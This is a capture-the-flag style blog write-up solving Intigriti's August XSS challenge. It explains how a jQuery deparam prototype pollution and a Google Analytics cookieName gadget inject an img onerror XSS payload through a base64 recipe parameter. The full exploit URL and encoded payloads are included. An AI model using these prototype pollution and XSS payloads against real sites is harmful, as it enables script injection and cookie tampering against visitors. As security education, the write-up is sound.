Client Side Prototype Pollution – Cross Site Scripting Challenge

Quotes Of The Day: WordPress Plugin Development
Client Side Prototype Pollution – Cross Site Scripting Challenge

Cross-site scripting challenges are always fun. Recently, a challenge posted on Ask Buddie got my attention and it was the Intigriti’s August XSS challenge – by @WHOISBinit. The implementation of this challenge was interesting to me. In this write-up, I will explain the challenge & how I solved it.

What was the XSS challenge anyways?

If you haven’t read the challenge above, here’s a short explanation.

The challenge was to execute arbitrary JavaScript by finding the XSS vulnerability with given base64 URL string ( Client-side prototype pollution to be more precise ).

Analysis

In the challenge link, you can find 3 URLs where you can launch your attacks. When I first visited one of them, I noticed the URL param consist base64 string.

https://challenge-0821.intigriti.io/challenge/cooking.html?recipe=dGl0bGU9VGhlJTIwYmFzaWMlMjBYU1MmaW5ncmVkaWVudHMlNUIlNUQ9QSUyMHNjcmlwdCUyMHRhZyZpbmdyZWRpZW50cyU1QiU1RD1Tb21lJTIwamF2YXNjcmlwdCZwYXlsb2FkPSUzQ3NjcmlwdCUzRWFsZXJ0KDEpJTNDL3NjcmlwdCUzRSZzdGVwcyU1QiU1RD1GaW5kJTIwdGFyZ2V0JnN0ZXBzJTVCJTVEPUluamVjdCZzdGVwcyU1QiU1RD1FbmpveQ==

To determine the base64 you can check the length & evaluate if the length is the multiple of 4 "dGl0b.....veQ==".length % 4 before you try to blind decode it.

I tried to decode the base64 to see if I can get any information from it.

atob("dGl0bGU9VGhlJTIwYmFzaWMlMjBYU1MmaW5ncmVkaWVudHMlNUIlNUQ9QSUyMHNjcmlwdCUyMHRhZyZpbmdyZWRpZW50cyU1QiU1RD1Tb21lJTIwamF2YXNjcmlwdCZwYXlsb2FkPSUzQ3NjcmlwdCUzRWFsZXJ0KDEpJTNDL3NjcmlwdCUzRSZzdGVwcyU1QiU1RD1GaW5kJTIwdGFyZ2V0JnN0ZXBzJTVCJTVEPUluamVjdCZzdGVwcyU1QiU1RD1FbmpveQ==")

/** 
Output:
title=The%20basic%20XSS&ingredients%5B%5D=A%20script%20tag&ingredients%5B%5D=Some%20javascript&payload=%3Cscript%3Ealert(1)%3C/script%3E&steps%5B%5D=Find%20target&steps%5B%5D=Inject&steps%5B%5D=Enjoy
 */

You can see some data that actually matches with the content of the page. If you haven’t tried the challenge, you might wonder injecting on URL param might do something?

Exactly.

Let’s analyze more, till now I haven’t explore much of the challenge and tried to test some XSS payload directly on URL param. Didn’t work.

The problem is, I don’t know the exact problem to solve this problem. So, I tried to analyze the code to see how it renders the given data from URL param.

I will try to explain each of the code blocks that can help you understand.

The code that ran by the target has 4 functions and each of them plays a role for this vulnerability which I found really interesting.

I am a software engineer doing JavaScript & TypeScript at scale. I focus more on writing secure code rather than hunting for a bug so at this point all I can do is analyze the code for possible issues.

In the challenge description, you can find a hint that points you to the correct direction.

“don’t be afraid to experiment with our cool way of making recipe objects”

Hint on XSS challenge page

The reason why I wanted to analyze code.

Before that, I notice a welcomeUser function where I can already see a way point to execute some payload.

// As we are a professional company offering XSS recipes, we want to create a nice user experience where the user can have a cool name that is shown on the screen
// Our advisors say that it should be editable through the webinterface but I think our users are smart enough to just edit it in the cookies.
// This way no XSS will ever be possible because you cannot change the cookie unless you do it yourself!

function welcomeUser(username) {
    let welcomeMessage = document.querySelector("#welcome");
    welcomeMessage.innerHTML = `Welcome ${username}`;
}

Hint time again. In the code comment ( third inline ) you can see what you have to do to execute your payload.

Inject the cookies. That’s it.

document.cookie // username=unknownUser253;

But how? Keep reading.

As you can see the function accepts username. The username is injected directly to DOM without escaping ( dangerously set to the HTML ).

The username is returned from the readCookie function. Another interesting function that does lot’s of processing to return the cookie value & also if the cookie name is username.

// Reads a cookie with specified name. Returns null if no such cookie present
function readCookie(name) {
    let nameEQ = name + "=";
    let ca = document.cookie.split(';');
    for (let i=0; i < ca.length; i++) {
        let c = ca[i];
        while (c.charAt(0)===' ') c = c.substring(1,c.length);
        if (c.indexOf(nameEQ) === 0) return c.substring(nameEQ.length,c.length);
    }
    return null;
}

Let’s analyze the recipe function now generateRecipeText.

// Function to generate the recipe text.
function generateRecipeText(recipe) {
    let title = document.querySelector("#title");
    let ingredients = document.querySelector("#ingredients");
    let payload = document.querySelector("#payload");
    let steps = document.querySelector("#steps");

    title.innerText = `Recipe: ${recipe.title}`;

    let ingredient_text = '';
    for (let ingredient of recipe.ingredients) {
        ingredient_text += `- ${ingredient}\n`;
    }
    ingredients.innerText = ingredient_text;

    payload.innerText = `Payload: ${recipe.payload}`;

    let steps_text = '';
    for (let step of recipe.steps) {
        steps_text += `- ${step}\n`;
    }
    steps.innerText = steps_text;
}

If you go through the above code, it renders the object passed from the URL param ( I will get to it on how that object forms ). The code make use of innerText where the cross-site scripting doesn’t have much chance. InnerText is often used to mitigate the cross-site scripting attack. If the innerText was used with script tag, we might have some chances here but with current implementation there’s nothing to add much about it.

Let’s analyze how the recipe is being passed to this function?

// This thing is called after the page loaded or something. Not too sure...
const handleLoad = () => {
    let username = readCookie('username');
    if (!username) {
        document.cookie = `username=unknownUser${Math.floor(Math.random() * (1000 + 1))};path=/`;
    }

    let recipe = deparam(atob(new URL(location.href).searchParams.get('recipe')));

    ga('create', 'ga_r33l', 'auto');

    welcomeUser(readCookie('username'));
    generateRecipeText(recipe);
    console.log(recipe)
}

window.addEventListener("load", handleLoad);

The above code constructs a new URL using the URL where the base64 was supplied & returns what the recipe param has.

The base64 is then decoded just like we did on our first step.

The decoded string is then used to construct an object using the helper utility of deparam jQuery.

{ 
  ingredients: ["A script tag", "Some javascript"]
  payload: "<script>alert(1)</script>"
  steps: ["Find target", "Inject", "Enjoy"]
  title: "The basic XSS" 
}

So, I tried to pass a new property.

// myProperty=myValue&title=The%20basic%20XSS&ingredients%5B%5D=A%20script%20tag&ingredients%5B%5D=Some%20javascript&payload=%3Cscript%3Ealert(1)%3C/script%3E&steps%5B%5D=Find%20target&steps%5B%5D=Inject&steps%5B%5D=Enjoy

// bXlQcm9wZXJ0eT1teVZhbHVlJnRpdGxlPVRoZSUyMGJhc2ljJTIwWFNTJmluZ3JlZGllbnRzJTVCJTVEPUElMjBzY3JpcHQlMjB0YWcmaW5ncmVkaWVudHMlNUIlNUQ9U29tZSUyMGphdmFzY3JpcHQmcGF5bG9hZD0lM0NzY3JpcHQlM0VhbGVydCgxKSUzQy9zY3JpcHQlM0Umc3RlcHMlNUIlNUQ9RmluZCUyMHRhcmdldCZzdGVwcyU1QiU1RD1JbmplY3Qmc3RlcHMlNUIlNUQ9RW5qb3k=

// Output:

{ 
  ingredients: ["A script tag", "Some javascript"]
  myProperty: "myValue" // right here
  payload: "<script>alert(1)</script>"
  steps: ["Find target", "Inject", "Enjoy"]
  title: "The basic XSS"
}

Here you go, you just polluted the JavaScript object. The first step to execute our payload via this URL param all the way to the innerHTML.

After a long analysis, we finally found the start & the end point & at this moment I was pretty sure this has to do something with the prototype pollution because we can directly pollute the object but the thing is to figure out the right pollution.

Research

The object construction was done by the jQuery's deparam method. I was looking for the prototype pollution on deparam and found out list of examples of libraries vulnerable to the prototype pollution & jQuery deparam was one of them.

As you can see on PoC we can use Object prototype which allows JavaScript to inherits properties & methods. We don’t know the right property to target but the interesting thing I saw on the prototype pollution example list was about Google Analytics.

We have Google Analytics running on the target site as well. Why would they do that? To track the visitors? Well, the purpose of it wasn’t to collect analytics data but it was our lead.

PoC for Google Analytics:

?__proto__[cookieName]=COOKIE%3DInjection%3B

Payload Construction

Just to quickly test, I constructed a dummy payload.

"__proto__[cookieName]=username%3Dashish&title=The%20basic%20XSS&ingredients%5B%5D=A%20script%20tag&ingredients%5B%5D=Some%20javascript&payload=%3Cscript%3Ealert(1)%3C/script%3E&steps%5B%5D=Find%20target&steps%5B%5D=Inject&steps%5B%5D=Enjoy"

Our pollution: __proto__[cookieName]=username%3Dashish

We need to encode our payload as URI because the jQuery deparam constructs an object [key]=>[value] pair using the = and & operator as you can see in other properties which are URI encoded.

encodeURIComponent("username=ashish") // username%3Dashish

Now, convert it to base64 string:

btoa("__proto__[cookieName]=username%3Dashish&title=The%20basic%20XSS&ingredients%5B%5D=A%20script%20tag&ingredients%5B%5D=Some%20javascript&payload=%3Cscript%3Ealert(1)%3C/script%3E&steps%5B%5D=Find%20target&steps%5B%5D=Inject&steps%5B%5D=Enjoy")

/** Output:
 X19wcm90b19fW2Nvb2tpZU5hbWVdPXVzZXJuYW1lJTNEYXNoaXNoJnRpdGxlPVRoZSUyMGJhc2ljJTIwWFNTJmluZ3JlZGllbnRzJTVCJTVEPUElMjBzY3JpcHQlMjB0YWcmaW5ncmVkaWVudHMlNUIlNUQ9U29tZSUyMGphdmFzY3JpcHQmcGF5bG9hZD0lM0NzY3JpcHQlM0VhbGVydCgxKSUzQy9zY3JpcHQlM0Umc3RlcHMlNUIlNUQ9RmluZCUyMHRhcmdldCZzdGVwcyU1QiU1RD1JbmplY3Qmc3RlcHMlNUIlNUQ9RW5qb3k=

 */

Pass the base64 string & check the developer tools > applications > cookies. We can actually see the changes are reflected.

Cookie username replaced by our value

Seems like we are going to solve this challenge. Let’s do what the challenge wants us to do. Alert the domain.

Repeat the same step as above but with the payload below:

Payload: username=<img src=ashish onerror='alert(document.domain)'/>

Encoded: username%3D%3Cimg%20src%3Dashish%20onerror%3D'alert(document.domain)'%2F%3E

Polluted:
__proto__[cookieName]=username%3D%3Cimg%20src%3Dashish%20onload%3Dalert(document.domain)%2F%3E

The Cross Site Scripting Attack

Encode the above polluted payload to base64 & pass it to the recipe ( to prevent JS error, supply payload with the other recipe object ).

Payload with target URL:

https://challenge-0821.intigriti.io/challenge/cooking.html?recipe=X19wcm90b19fW2Nvb2tpZU5hbWVdPXVzZXJuYW1lJTNEJTNDaW1nJTIwc3JjJTNEaGVoZSUyMG9uZXJyb3IlM0RhbGVydCUyOGRvY3VtZW50LmRvbWFpbiUyOSUzRSUzQiZ0aXRsZT1UaGUlMjBiYXNpYyUyMFhTUyZpbmdyZWRpZW50cyU1QiU1RD1BJTIwc2NyaXB0JTIwdGFnJmluZ3JlZGllbnRzJTVCJTVEPVNvbWUlMjBqYXZhc2NyaXB0JnBheWxvYWQ9JTNDc2NyaXB0JTNFYWxlcnQoMSklM0Mvc2NyaXB0JTNFJnN0ZXBzJTVCJTVEPUZpbmQlMjB0YXJnZXQmc3RlcHMlNUIlNUQ9SW5qZWN0JnN0ZXBzJTVCJTVEPUVuam95
Arbitrary JavaScript executed on target

That’s it. We got it. The challenge has been completed.

The challenge was so amazing & I am glad to be able to solve it. Thanks to the whole Intigriti team & Binit Ghimire.

A view on how Google Analytics processed our pollution

When testing out the payload, I was monitoring how Google Analytics will process it & with some in-depth analysis this is what you can see happening under the hood.

The polluted property actually ends up being one of the task array list hold by the GA which is then executed & replaces the cookie. I didn’t monitor every bit of the code to understand in more details. Please comment below to correct me if I am wrong.

Thank you all for your time. Keep researching.

Follow me on GitHub: ashiishme.

Connect with me on LinkedIn: ashiishme.